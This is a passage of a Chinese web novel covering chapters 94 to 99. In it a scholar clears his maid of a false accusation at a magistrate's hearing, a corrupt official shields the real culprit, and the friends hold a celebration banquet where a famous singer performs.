赵明德闻言,目光一沉,缓缓起身,官袍微微抖动,不怒自威:“袁克良,你口口声声说齐枫栽赃,可阿福是你自己带来的证人,手帕和字条也是从他房中搜出,你有何证据证明齐枫买通了他?反倒是你,买通证人,污蔑秀
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才,这罪名可不小!”
他顿了顿,目光如炬,扫向袁克良:“本官倒想问问,袁公子,你身为府城士子,家世显赫,怎的如此胆大妄为,敢在公堂之上买通证人,陷害春闱榜首?若非齐枫机敏,今日青禾姑娘岂不是要蒙受不白之冤?”
袁克良脸色一白,额头冷汗更甚,嘴唇嗫嚅,却一个字也吐不出。
厅内众人目光齐聚,士子们纷纷响应:“赵大人说得对!袁克良这回可是踢到铁板了!”
“污蔑秀才,这罪名可不轻啊!”
众人反应之所以这么大,主要还是因为袁克良平日里人缘太差了。
赵明德踏前一步:“袁公子,你刚才急着灭口的样子,倒是更坐实了阿福的证言!袁氏子弟又如何?在公堂之上,证据说话!本官倒要看看,你还有什么花招!”
赵明兰拍手笑道:“袁克良,你这回可真是偷鸡不成蚀把米!自己找来的证人,自己推翻,还要**灭口?我看你这袁氏子弟的脸面,今天算是丢尽了!”
袁克良被众人轮番嘲讽,气得浑身发抖,偏又找不到反驳的余地。
他猛地指向阿福,咬牙道:“好!好!你们都护着齐枫是吧?本少爷倒要看看,这阿福的证词,能不能翻得了盘!阿福,你再说一遍,到底是谁指使你作伪证!”
阿福吓得缩成一团,哭喊道:“袁公子!小的说的句句属实!是您给了小的银子,逼小的污蔑青禾姑娘!小的不敢再隐瞒了,大人饶命啊!”
袁克良气得几乎吐血,指着阿福的手抖得更厉害。
厅内气氛愈发紧张,众人目光齐聚,等待卢正淳的裁断。
就在此时,一直沉默的萧无痕缓缓起身,圆月弯刀在腰间寒光一闪,杀气弥漫。
他目光冷冽,缓缓扫过齐枫和楚清秋,沉声道:“齐枫,你的证据,的确让袁克良的指控不攻自破。可本官有一问……”
此话一出,气氛瞬间凝固。
第九十四章 性命担保
萧无痕继续道:“你的侍女**禾,当真与城郊命案毫无干系?你既如此维护她,可敢当堂承认,她的行踪,真的清白无暇?”
齐枫迎上萧无痕的逼视,踏前一步:“萧大人,青禾随我,忠心耿耿,绝无半点与城郊命案的瓜葛!齐某愿以性命担保,青禾清白,若有半句虚言,甘愿受罚!”
此言一出,厅内众人皆是一震。
士子们惊叹:“齐公子竟以性命担保,这胆魄无人能及!”
“青禾不过一侍女,齐公子如此维护,真是义薄云天!”
赵明兰挑眉,眼中闪过一丝赞赏:“好小子,够胆色!”
周子陵抱拳,沉声道:“齐兄为人,当真是令人折服!我不如矣!”
楚清秋闻言,身体微微一颤,面纱下的目光抬起,望向齐枫挺拔的背影。
心头涌起一股暖流。
少爷……”
楚清秋呢喃一声,声音轻得几乎听不见。
萧无痕目光微眯,这才沉声道:“齐枫,你既以性命担保,本官便信你一回。”
他顿了顿,转向袁克良:“袁公子,你的证人已招供,买通伪证,污蔑秀才,此事你作何解释?”
袁克良脸色一白,嘴唇嗫嚅,慌乱中猛地指向阿福,厉声道:“萧大人!此事全怪这贱-奴!是他见财起意,编造谎言,污蔑青禾姑娘,想挑拨我与齐枫的关系!本少爷绝无半点参与,句句清白!”
阿福吓得魂飞魄散,猛地抬起头,哭喊道:“袁公子!您怎能如此!是您亲手给了小的五十两银子,小的只是个伙计,哪有胆子自己做这种事!”
他连连磕头,额头血迹斑斑,泪水淌了一地。
赵明兰指着袁克良冷笑道:“袁克良,你这推卸的本事可真不小!现在谎言藏不住了,就想把脏水泼到他头上?当我们都是瞎子吗?”
袁克良气得双眼通红,指着阿福喝道:“各位大人,此事全是阿福一人所为,本少爷只是被他蒙骗,绝无陷害之意!”
萧无痕目光一闪,缓缓踏前:“卢大人,赵大人,袁氏在府城根基深厚,袁克良虽有错,念其年少无知,家世清白,暂且从轻发落。”
他顿了顿,目光扫向阿福:“此案罪魁,乃阿福一人,买通伪证,污蔑秀才,杖责五十,逐出府城!”
此言一出,厅内众人皆是一愣。
赵明德与卢正淳对视一眼,眼中闪过一丝复杂。
袁氏势力庞大,萧无痕身为圣上近卫,明显有意保全袁克良,以免彻底得罪袁氏。
赵明德沉声道:“萧大人所言有理。阿福既是罪魁,理应重罚。袁克良,你可有异议?”
袁克良如蒙大赦,忙低头道:“萧大人英明!此事全是阿福一人所为,本少爷绝无参与!多谢大人明察!”
他目光一转,恶狠狠地瞪向阿福,嘴角扯出一丝冷笑。
阿福吓得瘫软在地,哭喊道:“萧大人!小的冤枉!是袁公子逼小的啊!冤枉啊!”
赵明兰气得跺脚,指着萧无痕道:“萧大人,你怎能如此偏袒?证据清清楚楚,袁克良买通阿福,污蔑齐公子和青禾姑娘,现在却把罪名全推给阿福?这公堂还有没有公道?”
赵明德吓了一跳,赶紧给她使眼色。
萧无痕冷眼扫来:“赵小姐,公堂之上,本官自有定夺。阿福已认罪,证据指向他一人,袁克良不过被蒙骗。尔等若有异议,可呈上新证据!”
赵明兰还想争辩,齐枫却轻轻拉住她:“赵小姐,罢了。萧大人既有定夺,齐某不便多言。”
他目光扫向袁克良:“袁公子,这回你可是捡了条命。日后行事,可得长点心。”
袁克良咬牙:“齐枫,今日之事,本少爷记下了!”
他转身,匆匆离开正厅,背影满是狼狈。
卢正淳拍案道:“今日公堂到此为止。阿福杖责五十,逐出府城!齐枫,**禾,冤屈已清,望尔等日后谨慎行事。”
阿福被衙役拖下,哭喊声渐远。
赵明德起身,笑道:“齐公子,今日你洗清冤
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屈,榜首之名更显光彩!今晚我和卢大人打算在府衙为你设宴,庆功,一定不要推辞!”
齐枫拱手道:“两位大人盛情,齐某自当奉陪。”
周子陵上前,抱拳道:“齐兄,走吧,醉月楼,压压惊去!”
南宫玥盈盈一笑:“小女子这就先回醉月楼为公子准备舞曲贺喜。”
赵明兰也不甘示弱:“我去看看酒菜!”
“哎!我也一起去!”周子陵匆匆追了出去。
厅内渐渐清空,只剩齐枫,楚清秋和小荷,三人一同走出了府衙,来到大门口,街道上行人熙攘。
小荷嘟着嘴皱着眉:“少爷,袁克良分明是罪魁祸首,怎的就这么轻易放过了他?”
齐枫闻言,目光扫向远处的街角,目光平静却带着几分深意:“小荷,今日之事,明显就是萧大人有意保袁克良,赵大人和卢大人也只能顺势而为。袁氏在府城根基深厚,若彻底翻脸,怕是会掀起更大风波。”
小荷皱眉,气鼓鼓道:“可这也太不公平了!青禾姐姐清清白白,袁克良买通阿福泼脏水,罪证确凿,凭什么就让阿福当了替死鬼?少爷,你说这世道怎么这样!”
楚清秋站在一旁,闻言轻声道:“小荷,休要多言。少爷为我担保,已是冒了天大的风险。袁克良虽可恨,可若非阿福贪财,事情也不会到这一步。世道如此,权势之下,真相往往被遮掩。”
她的话语清冷,带着几分无奈,目光却不自觉地落在齐枫身上,眼中闪过一丝感激。
齐枫转头,对她微微一笑:“青禾,公堂之事已了,你也就不用想太多了,走吧,去醉月楼。”
与此同时,府城南街一处僻静的茶肆内,袁克良坐在临窗的雅座,锦袍上沾了些许灰尘,脸色阴沉得能滴出水来。
萧无痕坐在他对面,圆月弯刀搁在桌上,寒光映得茶盏泛冷。
茶肆内人声寥寥,只有角落里几个商贾低声交谈也很快就离开了。
突然,袁克良猛地抬了头。
第九十五章 人心难测
袁克良手中的茶盏捏得几乎要碎,嘴唇微微颤抖。
萧无痕目光冷冽,端起茶盏抿了一口:“袁克良,你可知今日之事,若非本官开口,你怕是走不出那公堂?”
袁克良猛地抬头,眼中闪过一丝惊惶,忙起身拱手:“萧大人恩情,克良铭记在心!今日之事,全是那贱-奴阿福贪财作乱,克良绝无陷害齐枫之意!”
萧无痕冷笑一声,刀般的目光扫过袁克良:“袁公子,休要拿这些话搪塞本官。买通阿福,污蔑秀才,你这胆子可不小。若非本官看在袁氏的面子上,今日你便是府城的笑柄!”
袁克良额头冷汗滑落,忙低头道:“萧大人明察!克良一时糊涂,听信阿福谗言,才误会了齐枫和那侍女。日后克良定当谨慎,绝不再犯!”
萧无痕放下茶盏,语气冷淡:“秀才之名,朝廷所授,齐枫更是春闱榜首,你却敢用下作手段陷害。袁氏家大业大,可若连这点分寸都没有,怕是迟早要栽跟头。”
袁克良脸色一白,咬牙道:“萧大人教训的是。克良知错,定会将此事妥善了结,绝不让袁氏蒙羞!”
萧无痕目光微眯,缓缓道:“本官保你,不过是想给这桩案子一个交代,你要节外生枝也无妨,袁克良,本官不在乎你冤不冤枉齐枫,也不在乎你与他的恩怨,只在乎你能不能把事情办好,我的意思,你明白吗?”
袁克良心头一震,猛地双眼一亮。
萧无痕这话说的已经非常的明显了,他今天之所以生气并不是生气袁克良冤枉齐枫,仅仅只是因为袁克良居然连冤枉一个人都没有做好。
城郊命案这个案子一定是要有一个交代的,可如果查了一段时间什么都没有查出来,上面必然不会善罢甘休,而萧无痕又是彻查这件事情的人。
他的心思,袁克良立刻就明白了。
很快,他的心头就冷笑一声,本以为自己没机会再对付齐枫了,如今看来,自己的机会还多的是呢。
“克良明白!萧大人放心,此事绝不再起风波!”袁克良拱手。
萧无痕挥了挥手,目光转向窗外,语气淡漠:“去吧。事情若办不好,你知道后果。”
来到醉月楼,醉月楼前车水马龙,丝竹管弦之声从楼内飘出,热闹非凡。
齐枫一到,赵明兰早已在门口等着,鹅黄劲装格外显眼,看见齐枫三人,立马挥手喊道:“齐公子!这儿!快进来,南宫姑娘他们都等着呢!”
齐枫笑着走上前:“赵小姐,跑这么快来准备,真是有心了。”
“那当然,毕竟你如今已经是中了秀才之名,加上又洗刷了冤屈,最最重要的是还让袁克良那臭不要脸的下不来台。这是一件大喜事,自然是要好好的庆祝一番!”赵明兰昂首挺胸。
进了醉月楼,穿过雕花屏风,便见二楼雅间里已坐满了人。
南宫玥一袭水蓝长裙,坐在窗边,指尖轻抚瑶琴,琴音清越如流水。
周子陵靠在栏杆旁,手里端着酒盏,笑得一脸爽朗。
雅间中央摆着一张紫檀木圆桌,桌上摆满了珍馐佳肴,酒香四溢。
赵明兰大咧咧地拉着齐枫坐下,嚷道:“齐公子!来来来,先喝一杯,压压公堂那股晦气!”
南宫玥停下琴音,起身盈盈一笑,柔声道:“齐公子,今日公堂你舌-战群雄,洗清青禾姑娘冤屈,玥儿也敬你一杯!”
周子陵哈哈一笑,举杯道:“南宫姑娘说得对!齐兄,今日你让袁克良那小子吃了个大瘪,兄弟我看着都解气!来,干了这一杯,为你榜首之名,也为青禾姑娘清白!”
齐枫笑着接过酒盏,一饮而尽,折扇一展,懒洋洋道:“多谢诸位抬爱,不过就是个小风波,不值一提。”
楚清秋坐在一旁,也罕见的端起了酒杯:“少爷今日为青禾担保,青禾感激不尽。”
话音刚落,雅间外传来一阵急促的脚步声。
陈玉堂和徐远推门而入,两人满
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脸堆笑,手里还拎着两坛好酒。
陈玉堂一进门就嚷道:“齐兄!可算找到你了!今日家里有点急事,没能去府衙旁听,听说你大杀四方,把袁克良那小子怼得哑口无言,兄弟我立马就赶来了!”
徐远把酒坛往桌上一放,哈哈道:“就是!齐兄,听说袁克良那小子被你整得脸都绿了,活该!他还敢买通阿福泼脏水,真当咱们府城没人了?必须好好喝一顿,庆祝你和青禾姑娘脱了冤屈!”
齐枫笑着摆手:“两位兄弟来得正好,这酒可不能少了你们!”
赵明兰端着酒杯,冷哼道:“袁克良那家伙,仗着袁氏家大业大,尽干些下三滥的勾当!今日公堂上,他还想把罪名全推给阿福,脸皮厚得都能当城墙了!”
陈玉堂一拍桌子,骂道:“可不是嘛!袁克良那德行,整个府城谁不知道?嫉妒齐兄榜首,买通个伙计就想翻盘,脑子怕是进水了!要我说,卢大人就该罚他个倾家荡产!”
南宫玥目光扫过众人,柔声道:“诸位,今日公堂,萧大人却有意维护袁克良,袁氏在府城根深蒂固,萧大人既是圣上近卫,怕是也不愿彻底得罪袁氏。齐公子,袁克良此人,心胸狭窄,今日吃了亏,怕是还会有后招,你还是得继续小心些。”
齐枫闻言笑道:“南宫姑娘多虑了。袁克良不过是个跳梁小丑,掀不起什么大浪。他若再敢来惹我,保管让他吃不了兜着走。”
赵明兰一拍桌子,豪气道:“对!齐公子说得好!袁克良那小子,敢再来找麻烦,姑奶奶第一个不饶他!来来来,咱们喝酒,别让那坏胚子坏了兴致!”
众人哄笑,举杯畅饮,雅间内气氛也热烈起来。
周子陵放下酒盏,忽然压低声音,凑近齐枫,神秘兮兮道:“齐兄,兄弟我刚听说个事儿,最近府城要来一支歌舞乐团,听说领头的还是个女的,名气大得很,号称云州第一伶!你说,这热闹,咱们得去瞧瞧吧?”
第九十六章 云州第一伶
齐枫懒洋洋地靠在雕花木椅上,笑道:“云州第一伶?周兄,你这消息倒是灵通,这位名伶是个什么来头,值得你这么兴师动众?”
周子陵嘿嘿一笑,眼中闪着八卦的光芒,端起酒盏抿了一口,压低声音道:“这位名伶,名叫柳若雪,半年前从云州横空出世,舞姿绝伦,琴艺无双,听说一舞能让满堂宾客忘了自家姓甚名谁!”
“模样更是美得惊心动魄,传言她出场时,达官贵人都挤破头只为一睹芳容!云州巡抚大人曾为她一掷千金,只求一曲独舞,啧啧,那排场,府城怕是都未必见过!”
陈玉堂一听,立马来了兴致,放下手里的烤乳鸽,抹了把嘴,激动道:“对对对!我也听说了!这柳若雪可不得了,听说她一年前还是个无名小卒,谁知一出场就惊艳四座!”
“云州王家的大公子为了见她一面,硬是送了三千两的珠宝,结果连她衣角都没摸着!还有那江州刺史,亲自登门拜访,她愣是闭门不见,架子大得吓人!”
徐远也跟着凑热闹,拎着酒坛猛灌一口,咧嘴道:“可不是嘛!这柳若雪不光美貌无双,性子还冷得跟冰山似的,听说从不轻易露面,每次演出都是千金难求!咱们府城这回能请动她,怕是花了大价钱!齐兄,你这榜首之名可真是福气,连带着咱们都能沾光瞧瞧这云州第一伶的风采!”
小荷瞪着圆溜溜的眼睛,托着腮,满脸好奇道:“哇,这么厉害?那她跟南宫姐姐比起来,谁更漂亮呀?”
她说着,扭头看向南宫玥,眼睛亮晶晶的,满是期待。
南宫玥轻笑一声,声音温婉却带着几分自嘲:“小荷,你这问题可难为我了。我在醉月楼虽也算有些名气,弹琴献舞,博君一笑,可跟这位柳若雪比,怕是差得远了,听说她一舞能让百花失色,我虽未见过,可也听过她的传闻,自叹不如啊。”
她说着,轻轻摇了摇头,眼中闪过一丝落寞,却掩得极好。
赵明兰一听,撇了撇嘴,端着酒盏哼道:“南宫玥,你这话倒还算有自知之明!不过这柳若雪再美,也不过是个唱戏跳舞的,能有多大出息?咱们府城的姑娘,哪个不比她强?达官贵人趋之若鹜,还不是看她那张脸!”
她说着,斜了南宫玥一眼,“你也别妄自菲薄,醉月楼的头牌可不是白当的,真要论起来,你也不见得比她差多少!”
南宫玥闻言,掩嘴轻笑:“赵小姐这话可抬举我了。柳若雪的名头响彻云州,我这点薄名,哪敢跟她比?不过……”
她顿了顿,目光扫过赵明兰,笑意更深,“赵小姐若见了柳若雪,怕是也要被她迷得找不着北,届时可别忘了你今日这番豪言!”
赵明兰一瞪眼,拍桌道:“好你个南宫玥,敢瞧不起姑奶奶!行,待会儿见了那柳若雪,我倒要看看她有几斤几两!若真不如你说得那么神,我第一个不服!”
周子陵连忙摆手,笑呵呵道:“哎哎,赵小姐,南宫姑娘,你们俩别斗嘴了,怪吓人的!这柳若雪再厉害,也不过是给咱们助兴的,哪有咱们齐兄的风头大?齐兄,今日这庆功宴,你可是主角,可得说两句啊!”
齐枫折扇一展,懒洋洋笑道:“诸位,这柳若雪再美,跟我似乎也没啥关系吧?我这人,平日里斗鸡走狗还行,欣赏歌舞水平一般吧。”
周子陵一听,摇摇头,神秘兮兮道:“齐兄,你这话可不对!这柳若雪跟你有大关系!”
他顿了顿,压低声音,一脸兴奋,“我刚听来的消息,知府大人为给你庆功,特意请了这柳若雪来献艺!不出所料的话,今晚咱们就能在醉月楼一睹她的风采!”
陈玉堂一拍大腿,激动道:“好家伙!齐兄,托你的福啊!这柳若雪的演出,寻常人想看都得排队送礼,咱们今儿能直接见着,真是赚大发了!知府大人这手笔,可见对你这榜首有多看重!”
徐远也跟着点头,咧嘴笑道:“就是!齐兄,兄弟我这辈子能见这等美人一眼,回去都能吹一年!多谢你啊,齐兄!”
他举起酒盏,朝
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齐枫一敬,笑得合不拢嘴。
小荷听得两眼放光,拽着楚清秋的袖子,兴奋道:“青禾姐姐,真的吗?咱们今晚能看到云州第一伶?哇,那她得多漂亮啊!少爷,你说她是不是真像他们说的那么美?”
楚清秋青衣面纱,目光清冷,闻言轻声道:“小荷,世人之美,各有千秋。柳若雪名震云州,定有她的过人之处。不过……”
她顿了顿,目光扫过齐枫,声音柔和了些,“少爷见多识广,怕是不会轻易被这些虚名所动。”
齐枫哈哈一笑,折扇一敲掌心:“青禾这话说得好,美人再美,也不过过眼云烟。我这人,讲究个随心自在,今晚有酒有菜,有你们这群朋友热闹热闹,柳若雪来不来,倒也不打紧。”
赵明兰哼了一声,斜眼道:“齐公子,你这口气,装得还挺像那么回事!不过我看你,待会儿见了柳若雪,怕是眼睛都挪不开!男人啊,嘴上说得好听,心里指不定怎么想的!”
南宫玥柔声道:“赵小姐这话,倒也不无道理。柳若雪的名头,哪个男人听了不心动?不过齐公子豁达,怕是真能做到心如止水。玥儿拭目以待。”
齐枫挑眉笑道:“南宫姑娘,你这是在试我?放心,本少爷见过的美人多了去了,说一不二!”
周子陵哈哈一笑,拍手道:“齐兄这话我爱听!来来来,喝酒!今晚柳若雪献艺,咱们就当看个热闹,庆贺齐兄榜首之名才是正事!”
他举起酒盏,众人纷纷响应,雅间里笑声不断,酒香四溢。
酒过三巡,菜过五味,楼下的宾客也多了起来,喧嚣声隐约传来。
赵明兰拍着桌子,嚷道:“这醉月楼的菜是好吃,可惜没啥新鲜玩意儿!齐公子,待会儿吃完饭,咱们去府城逛逛如何?听说南街新开了家茶肆还不错!”
陈玉堂连忙附和:“对对!齐兄,府城热闹得很,咱们去转转,散散酒气,顺便看看有没有啥稀奇玩意儿!”
他说着,朝徐远使了个眼色,徐远立马点头。
第九十七章 柳若雪
齐枫笑着摆手:“你们这群家伙,倒是会找乐子。行,待会儿吃完饭,咱们就去逛逛,看看府城这夜景有啥特别的。”
他目光扫向楚清秋和小荷,“青禾,小荷,你们也一起去,别老闷在屋里。”
小荷高兴得直拍手:“好耶!少爷,我想吃糖葫芦!”
众人又推杯换盏,南宫玥不时抚琴助兴,赵明兰则和周子陵争着谁喝得多,斗得不可开交,引得众人笑声不断。
日头渐渐西斜,醉月楼的宴席也接近尾声。
齐枫带着楚清秋,小荷,与赵明兰,周子陵,陈玉堂,徐远一行人出了醉月楼,沿着府城的主街漫步。
街道两旁灯火通明,摊贩的吆喝声此起彼伏,卖糖人的,捏面人的,杂耍的,热闹非凡。
微风拂过,带着几分凉意,街上行人熙熙攘攘。
赵明兰走在前头,豪气地买了串糖葫芦,递给小荷,笑嘻嘻道:“小荷,尝尝!这家的糖葫芦甜而不腻,姑奶奶我小时候最爱吃这个!”
小荷接过,咬了一口,眼睛笑得眯成月牙:“哇,赵姐姐,这糖葫芦真好吃!少爷,你要不要尝一口?”
齐枫摆手,笑道:“你吃你的,本少爷对甜食不感兴趣。”
周子陵指着远处一家茶肆,兴致勃勃道:“齐兄,那家茶肆的夜景不错,听说还能看到城南的灯火,咱们去坐坐?”
陈玉堂和徐远也跟着起哄:“对对,去茶肆!那儿还有说书的,讲得可精彩了!”
一行人正说着,忽听远处传来一阵锣鼓喧天,夹杂着丝竹之声,异常热闹。
众人循声望去,只见城门口方向,一队戏班子大摇大摆地进了城。彩旗招展,乐声悠扬,队伍中几辆装饰华丽的马车格外显眼。
周围围满了看热闹的百姓,议论声此起彼伏。
周子陵眼睛一亮,拍手道:“快看!那应该就是柳若雪的歌舞乐团!云州第一伶,果然排场不小!”
他激动地拽了拽齐枫的袖子,“齐兄,咱们有眼福了!这柳若雪,怕是今晚就要在知府的庆功宴上献艺!”
陈玉堂挤到前头,伸长脖子张望,啧啧道:“好家伙,这阵仗,比咱们府城的庙会还热闹!”
徐远也跟着挤过来,咧嘴笑道:“齐兄这福气,兄弟我都嫉妒了!柳若雪的名头,府城谁不想见?今晚知府大人这宴席,怕是要热闹翻天咯!”
赵明兰哼了一声,双手环胸,冷笑道:“不就是个跳舞的?瞧你们这没出息的样子!待会儿见了柳若雪,我倒要看看她有啥了不起的!”
南宫玥轻笑,柔声道:“赵小姐何必急着下结论?柳若雪既是云州第一伶,定有她的独到之处。咱们今晚且看便是。”
小荷拽着楚清秋的袖子,兴奋道:“青禾姐姐,你看那马车,好漂亮!柳若雪是不是就在里面?”
楚清秋目光扫过那队戏班子,声音清冷:“小荷,热闹归热闹,切莫被表象迷惑,皮囊虽美,可最重要的还是人心。”
齐枫折扇一合,懒洋洋笑道:“青禾说得对,咱们今晚且看热闹便是,别太当回事。”
众人站在街头,目光齐齐落在城门口那支华丽的队伍上。
锣鼓声渐近,马车上的彩绸在夕阳下熠熠生辉,百姓的议论声愈发热烈,所有人的注意力都被那缓缓驶来的戏班子牢牢吸引。
忽地,最前方的马车帘子微微掀开,一只柔弱无骨的玉手探了出来,指尖纤细如葱,白得几乎透明,轻轻搭在帘边。
那一瞬,周围的议论声仿佛都静了一瞬,百姓们瞪大了眼,想要窥见帘后之人。
小荷拽着楚清秋的袖子,激动地小声道:“青禾姐姐,你看!那手好漂亮!那肯定就是柳若雪吧?云州第一伶,果然不一样!”
她像是恨不得立马冲过去一探究竟。
楚清秋目光扫过那只玉手,面纱下的嘴角微微上扬,伸手轻抚小荷的脑袋,柔声道:“小荷,不用这么着急,心急吃不了热豆腐,慢慢看便是。”
小荷被摸得有些不好意思,吐了
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吐舌头,点点头道:“嗯,青禾姐姐说得对!那我今晚一定要好好看看!”
周子陵拍了拍齐枫的肩,催促道:“齐兄,别在这儿看热闹了!戏班子都进城了,知府大人的庆功宴怕是马上要开始了!咱们赶紧去赴宴,可别让赵大人久等!”
陈玉堂闻言,冷笑一声,斜眼瞥着周子陵,揶揄道:“周子陵,你这话说得冠冕堂皇,谁不知道你心里那点小九九?怕赵大人久等?分明是你急着去瞧柳若雪那云州第一伶的模样!”
周子陵被戳中心思,脸一红,嘿嘿一笑,瞪了陈玉堂一眼:“好你个陈玉堂,说得好像你就不想看似的!柳若雪的名头,谁听了不心动?装什么正人君子!”
赵明兰双手环胸道:“你们这些男人,一个个嘴上说得好听,心里指不定怎么花呢!看看齐公子,多淡定!周子陵,陈玉堂,你们能不能学学人家,别一听美人就两眼放光!”
周子陵哈哈一笑,摆手道:“赵小姐,你这话可不公平!天下男人,谁能像齐兄这样心如止水?咱们这些凡夫俗子,哪比得了齐兄的定力!”
南宫玥也柔声道:“周公子说得倒也不错。齐公子豁达,怕是真能做到目不斜视心。”
齐枫挑眉笑道:“南宫姑娘过奖了。本少爷不过是懒得凑热闹罢了。”
徐远拍手道:“齐兄这话我爱听!走走走,咱们赶紧去赴宴!今晚有酒有美人,还有知府大人撑腰,兄弟我这辈子都没这么风光过!”
一行人说说笑笑,沿着府城主街,穿过熙攘的夜市,朝知府府邸走去。
不多时,众人来到知府府邸。衙门前张灯结彩,两盏大红灯笼高挂,映得门庭一片喜气。
赵明德一身常服,笑容满面地迎了出来,身后跟着卢正淳,二人神色和蔼,透着几分亲切。
赵明德快步上前,朝齐枫拱手,朗声道:“齐贤弟,恭喜!春闱榜首,青田县的骄傲!这一步只是开始,我和卢大人等着你高中状元,扬我景国文风!”
第九十八章 身份不简单?
齐枫连忙回礼,折扇一合,笑道:“赵大人过奖了。齐枫不过是侥幸,承蒙大人抬爱,愧不敢当。”
卢正淳捋了捋胡须,笑呵呵道:“齐公子谦虚了!你的才华,府城上下有目共睹。老夫已将你的名字报了上去,京城的几位大人对你也颇感兴趣。过不了多久,怕是会有大人物亲自来见你!”
齐枫微微一怔,随即拱手道:“多谢卢大人提携。齐枫才疏学浅,唯愿不负诸位厚望。”
赵明德哈哈一笑,拍了拍齐枫的肩:“好!年轻人就该有这份从容!来来来,诸位,里面请!今晚设宴,为齐贤弟庆功,诸位都是府城的俊杰,定要尽兴而归!”
他大手一挥,领着众人步入衙门内院。
内院早已布置妥当,宽敞的庭院中摆了十几张紫檀木圆桌,桌上珍馐佳肴琳琅满目,酒香四溢。院子一角搭了个精致的戏台,周围挂着彩绸,点缀着花灯,丝竹声隐约传来。
宾客们三三两两入座,笑语喧哗,气氛热烈。
齐枫一行人被引到主桌,桌上摆着各式各样的美食,引得小荷直咽口水。
赵明德亲自引着齐枫入座,笑呵呵道:“齐贤侄,今晚这宴席,老夫可是费了心思。听说云州的歌舞乐团路过府城,我特意请了他们来献艺,也算是为你的榜首之名添点彩头!”
“说来,这乐团的柳若雪可是云州第一伶,老夫也想一睹风采,哈哈,借花献佛了!”
齐枫哈哈一笑:“赵大人真是好兴致!柳若雪的名头,齐枫也听过几分,今晚能见识一番,倒是托了大人福气。”
赵明兰哼了一声道:“什么借花献佛,分明是赵大人自己想看!男人啊,嘴上说得好听,心里都一个样!”
她这话虽小声,却被南宫玥听了个正着。
南宫玥掩嘴轻笑,柔声道:“赵小姐这话,可别让赵大人听见。不然今晚这宴席,怕是要少几分乐趣。”
小荷坐在楚清秋身旁,盯着不远处的戏台,小声嘀咕:“青禾姐姐,那戏台好漂亮!柳若雪是不是就要出来了?!”
楚清秋轻抚她的手,柔声道:“小荷,稍安勿躁。戏台既然搭好了,柳若雪自会出现。你且好好吃菜,别光顾着看热闹。”
徐远则忙着给众人斟酒,笑呵呵道:“齐兄,来来,咱先喝一口!”
丝竹声愈发清亮,戏台上的花灯一盏盏亮起。
赵明德举杯起身,朗声道:“诸位!今晚为庆贺齐枫齐公子高中春闱榜首,老夫特设此宴!齐贤侄才华横溢,前途无量,望诸位共饮此杯,为他贺!”
他一饮而尽,众人纷纷响应,酒盏碰撞声响成一片。
齐枫笑着回礼,端起酒盏一饮而尽。
就在此时,戏台上的丝竹声骤然一变,变得悠扬而婉转,仿佛春水流淌,引得全场宾客渐渐安静下来。
彩绸帘子缓缓拉开,一个身着红衣的女子款款登场,手中轻摇团扇,舞姿轻盈如燕,衣袂翻飞间,似有百花盛开的错觉。
全场霎时鸦雀无声,所有人的目光都落在戏台上那抹红影之上。
她清亮的嗓音随之响起,唱腔宛如天籁,缠绵中带着几分哀而不伤的韵味,似诉尽人间悲欢。
台下宾客屏息凝神,目光牢牢锁在那抹红影上,宴席间的喧嚣早已消散,只余她的歌声在院中回荡。
周子陵端着酒盏,眼睛瞪得溜圆,忍不住低声赞道:“好家伙,这柳若雪的唱腔,简直超凡脱俗!一字一句,直钻人心,怕是天上的仙子下凡也不过如此!”
他语气激动,酒盏都忘了放下,目光一刻也舍不得移开。
陈玉堂靠在椅背上,瞪大双眼:“周兄说得没错!这嗓子,这身段,怪不得云州达官贵人挤破头都要见她一面!这柳若雪,名不虚传!”
他手里的筷子停在半空,早已忘了夹菜。
徐远抹了把嘴,咧嘴笑道:“我算是服了!这唱戏的功夫,怕是府城没人能比!柳若雪这一出,值了!今晚这宴席,算是没白来!”
南宫玥停下指尖的琴音,眼中闪过一丝复杂的神色,
赵明兰双手环胸,冷哼道:“唱得是不错,可也没你们说得那么神!不就是嗓子好点,舞跳得漂亮点?瞧你们那没出息的样!”
齐枫靠在雕花木椅上,嘴角挂着淡淡的笑,目光扫过台上的柳若雪,眼神平静。
前世,他医武通神,什么样的绝色佳人未曾见过?
柳若雪虽美貌无双,唱腔动人,却也难在他心中掀起太大波澜。
小荷坐在一旁,托着腮,盯着柳若雪喃喃道:“少爷,青禾姐姐,柳
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若雪真的好美!她的舞跳得像仙女一样,唱得也那么好听!我要是有她一半的风采就好了!”
齐枫哈哈一笑,伸手揉了揉小荷的脑袋,懒洋洋道:“小荷,你也有你的好,没必要强求别人的模样。每个人都有自己的长处,你这活泼劲儿,柳若雪可学不来。”
小荷被夸得脸一红,吐了吐舌头,笑嘻嘻道:“少爷说得对!我就是我,才不羡慕别人呢!”
齐枫看向楚清秋,却见她双眸微微睁大,目光复杂地凝视着那抹红影,手指不自觉地攥紧了袖口,眼中闪过一丝莫名的情绪。
直到齐枫的目光扫来,她才猛地回神,垂下眼帘,掩去眼中的波澜:“小荷说得是,各有各的美。”
齐枫挑眉,敏锐地捕捉到楚清秋的异样,嘴角笑意更深,却并未点破。
他目光重新落回戏台上。
台上,柳若雪的唱腔愈发高亢,红衣如烈焰翻飞,舞步轻盈却力道十足,每一个转身都带着勾魂夺魄的魅力。
她的目光偶尔扫向台下,却在掠过齐枫和楚清秋时,微微一顿。
她的动作似是僵了一瞬,旋即恢复如常,继续舞动,歌声未断,却多了一丝不易察觉的颤音。
台下宾客沉醉其中,无人察觉这细微变化,唯有齐枫眯了眯眼,敏锐地捕捉到这一瞬的异样,心中若有所思。
一曲终了,丝竹声渐止,柳若雪缓缓收势,红衣垂落,团扇轻掩半面,朝台下微微一福,引得全场掌声雷动。
宾客们纷纷起身喝彩,赞叹声此起彼伏,宴席间的气氛被推至顶点。
赵明德捋着胡须,哈哈一笑,起身拍手道:“好!柳姑娘果真是云州第一伶!这一曲,唱得老夫心潮澎湃!诸位,今晚有幸得见此等绝艺,真是三生有幸!”
柳若雪款款走下戏台,红衣曳地,步履轻盈如踏云而来。
她停在赵明德身前,微微一福,声音清亮:“多谢赵大人谬赞。若雪献丑,幸不辱命。”
赵明德摆手,笑呵呵道:“柳姑娘客气了!来来来,老夫为诸位介绍一位贵客!”
他转身看向齐枫,朗声道:“这位便是今晚的主角,春闱榜首,青田县的齐枫齐公子!柳姑娘,齐贤侄才华横溢,前途无量,你今日为他献艺,也算是一段佳话!”
第九十九章 重逢
柳若雪朝齐枫微微一福:“齐公子,久闻榜首之名,今日一见,果然风采不凡。若雪献艺,幸不辱命。”
